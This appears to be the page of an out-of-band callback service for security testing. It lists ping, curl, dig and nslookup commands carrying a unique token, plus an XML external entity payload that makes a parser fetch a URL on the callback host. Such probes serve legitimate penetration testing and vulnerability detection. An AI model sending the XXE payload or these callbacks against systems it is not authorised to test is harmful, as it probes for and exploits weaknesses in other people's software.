$ ping -c1 -p 003827615c71ef061df793a9e630fa00 pingb.in
 
$ curl pingb.in/p/3827615c71ef061df793a9e630fa
 
$ dig 3827615c71ef061df793a9e630fa @pingb.in
 
$ dig 3827615c71ef061df793a9e630fa.ns.pingb.in
 
C:\> nslookup 3827615c71ef061df793a9e630fa pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/3827615c71ef061df793a9e630fa">]>
    <foo>&xxe;</foo>
 
Waiting for ping...